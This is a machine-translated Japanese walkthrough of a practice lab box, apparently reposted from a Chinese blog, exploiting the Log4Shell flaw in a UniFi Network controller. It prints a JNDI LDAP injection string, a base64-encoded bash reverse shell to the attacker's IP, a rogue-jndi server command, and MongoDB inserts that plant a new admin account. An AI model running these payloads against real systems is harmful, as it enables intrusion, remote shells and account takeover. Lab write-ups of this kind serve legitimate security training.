ボックス射撃場統一無人標的機をハックする

開いて、最初の質問を参照してください
ここに画像の説明を挿入
Q:どのポートが開いていますか?
回答:22,6789,8080,8443
は、次のコマンドを直接使用してスキャンを開始します

nmap -sV -Pn 10.129.58.25 

ここに画像の説明を挿入
2番目の質問:
ここに画像の説明を挿入
Q:ポート番号が最大のアプリケーションの名前は何ですか?
回答:UniFIネットワーク。ポートから直接アクセスできます。https://を使用することを忘れないでください。

ここに画像の説明を挿入
3番目の質問:
ここに画像の説明を挿入
Q:どのバージョンのソフトウェアが実行されていますか?
回答:上の写真によると、6.4.54であることがわかります

4番目の質問:
ここに画像の説明を挿入
Q:脆弱性の数はいくつですか?
回答:cve-2021-44228。最後に、Baiduでこの射撃場の質問を検索し、次の記事を見つけました:https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire -unifi
開くと、この記事が実際にこの無人標的機に対する答えであることがわかります。このターゲットマシンがlog4jの脆弱性であり、権利をエスカレートしていることを知っている場合、それはlog4jの数です。

5番目の質問:
ここに画像の説明を挿入
Q:インストールしたMavenのバージョンは何ですか?
回答:3.6.3。特定の理由については、次の操作を参照してください。

質問6:
ここに画像の説明を挿入
Q:JDNIはインジェクションでどのプロトコルを利用しますか?
回答:ldap

質問7:
ここに画像の説明を挿入
Q:攻撃が成功したことを知るために使用されるツールは何ですか?
回答:tcpdump。この質問に答えるには、サイトのテストを正式に開始する必要があります。
まず、以前に取得したIPアドレス(ターゲットマシンが再起動されたために私の場所のIPが変更された)に従って、次の場所にアクセスします。

https://10.129.17.119:8443

次のログインインターフェイスにジャンプし
ここに画像の説明を挿入
、ログインボックスにログインし、パケットをキャプチャして、リピーターに送信します。ユーザー名とパスワードはオプションですが、remember部分は次のように変更されます。

${jndi:ldap://10.10.14.187/o=tomcat}

IPを自分のものに変更することを忘れないでください。
ここに画像の説明を挿入

次に、ペイロードがホストにリメンバーを要求するかどうかを確認します。まず、取得したVPN IPのネットワークカードをローカルで監視し、要求されているかどうかを確認します。

sudo tcpdump -i tun0

ここに画像の説明を挿入
この場所のネットワークカードは、実際の状況に基づいている必要があります。ifconfigを直接実行することで、どのネットワークカードであるかを知ることができます。
次に、burpsuiteでデータパケットを再生すると、ローカルネットワークカードが情報を受信したことがわかります。
ここに画像の説明を挿入

これは、ターゲットマシンにlog4jの脆弱性があることを示しています。
ここでの問題は、なぜncの代わりにtcpdumpを使用する必要があるのか​​ということです。1つ目は、ポート番号がわからないことです。これは、次の質問の問題でもあります。次のステップはポート番号を知ることです、そして受け取った情報は文字化けしています。あなたはそれを試すことができます。

8番目の質問:
ここに画像の説明を挿入
Q:トラフ​​ィックをチェックする必要があるポートはどれですか?
回答:389、これはldapのポートだからです。

これまでのところ、ターゲットマシンに抜け穴があることを確認しました。次に、log4jの抜け穴に従ってgetshelを実行し、キーを取得する権利をエスカレーションする必要があります。

log4jの脆弱性を介してシェルを取得するには、次のスクリプトが必要です:
https ://github.com/veracode-research/rogue-jndi

スクリプトをインストールし、次のコマンドを使用してサーバーを構築します

git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package

次のインターフェースは、ビルドが完了したことを示しているようです(mavenをこの場所に単独でインストールする必要がある場合があり、gitを使用して取得するのも遅いことに注意してください。Mavenをダウンロードすると、6番目の質問に対する回答であるmvn-versionによってMavenバージョン3.6.3を入手できます。)。
ここに画像の説明を挿入

次に、コマンドラインで、base64でスクリプトをエンコードしてシェルを取得し、注意して独自のIPアドレスに置き換えます。

echo 'bash -c bash -i >&/dev/tcp/10.10.14.53/4444 0>&1' | base64

ここに画像の説明を挿入
次に、Javaを使用して、次のコマンドで前に生成したbase64を入力し、自分のアドレスに置き換えることを忘れないでください

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuNTMvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.53"

次のインターフェイスは、操作が成功したことを示しているように見えます

ここに画像の説明を挿入
ポート4444でローカルにリッスンします

nc -lnvp 4444

burpsuiteで再送信し、送信されたリクエストに注意してください。覚えているIPは自分のIPである必要があります。ターゲットマシンを再起動したため、場所が再び変更されました。
ここに画像の説明を挿入

この時点で、ncはターゲットマシンのシェルを取得し、ユーザーはunifです。上記の手順の全体的な操作は次のとおりです。
ここに画像の説明を挿入
次に、インタラクティブシェルにアップグレードして、次の手順を実行します。

script /dev/null -c bash

ここに画像の説明を挿入
質問、9番目の質問を引き続き見てください
ここに画像の説明を挿入
:mongodbはどのポートで実行されていますか?
回答:27117、次のコマンドを使用して表示します

ps aux | grep mongo

ここに画像の説明を挿入
10番目の質問:
ここに画像の説明を挿入
Q:unifiのデフォルトのデータベース名は何ですか?
回答:エース、あなたはそれを見つけることができます、https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.htmlを参照してください。このリンクは、次のトピックを実行するためのガイドでもあります。
ユーザー名がわかれば、端末からデータベースに接続できます

mongo --port  27117 ace

ここに画像の説明を挿入
データベースに正常に入力されました。
11番目の質問を見てください
ここに画像の説明を挿入
。Q:データベースのすべてのユーザーを列挙する機能は何ですか。
回答:db.admin.find()。実行結果は次のとおりです。12番目の
ここに画像の説明を挿入
質問:
ここに画像の説明を挿入
Q:mongodbにデータを追加する機能は何ですか?
回答:db.admin.insert()

13番目の質問:
ここに画像の説明を挿入
Q:mongodbのデータを更新する機能は何ですか?
回答:db.admin.update()

上記の2つの質問の後、背後にある考え方は、最も特権のあるユーザーのパスワードを更新してから、unifiのバックグラウンドに移動して確認することであると推測できます。
ユーザーを追加する前に、まず自分のパスワードを生成し、次のコマンドを使用してパスワードを生成し、パスワードが最後のパスワードであることを覚えて、自分のパスワードに置き換える必要があります。

mkpasswd -m sha-512 pilgrim

ここに画像の説明を挿入
次に、パスワードとユーザー名をプラグインします

db.admin.insert({ "email" : "[email protected]", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "$6$tVIuEdsp/Y4m8DBy$Dw6.glWpTSPKyxICzmNy.sSrJ9.EXzTsWbK8mKHd8z5njxPwZOi9pcGYgIjI0Ee./JFnES17WMLGexOiABG6m0" })

ここに画像の説明を挿入
実行が成功し、すべてのユーザーを検索して、追加したばかりのユーザーのオブジェクトIDを取得していることがわかります。

db.admin.find().forEach(printjson);

ここに画像の説明を挿入
ウェブサイトのユーザーの詳細をチェックしてください

db.site.find().forEach(printjson);

ここに画像の説明を挿入
挿入したユーザーをこのWebサイトにバインドします。ここで、admin_idは自分で追加したユーザーのIDであり、site_idは上記で取得したIDです。

db.privilege.insert({ "admin_id" : "623f071e1ab0487109299461", "permissions" : [ ], "role" : "admin", "site_id" : "61ce269d46e0fb0012d47ec4" });

次の実行は成功し
ここに画像の説明を挿入
ます。次に、バックグラウンドログインページに移動して、今すぐアカウントにログインします。アカウント名はunifi-adminであり、パスワードは自分で設定したパスワードであることを忘れないでください。この場所には長い時間がかかります。しばらくお待ちください。さらにいくつかのブラウザを変更してみてください。ルートパスワードは、次のように設定で知ることができます。

NotACrackablePassword4U2022

これが14番目の質問に対する答えです
ここに画像の説明を挿入

過去に直接sshを実行しましたが、これは確かにroot権限
ここに画像の説明を挿入
なので、フラグに直接移動します。

cat /root/root.txt            #root账户的flag
cat /home/michael/user.txt    #用户的flag

ここに画像の説明を挿入
ここに画像の説明を挿入

終了しました。
参照先:
https ://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi
https://www.youtube.com/watch?v=NLf1xzdlfCE
https://erikdekker.net / ubiquity /unifi/2020/05/09/reset-unifi-password.html

おすすめ

転載: blog.csdn.net/zr1213159840/article/details/123697698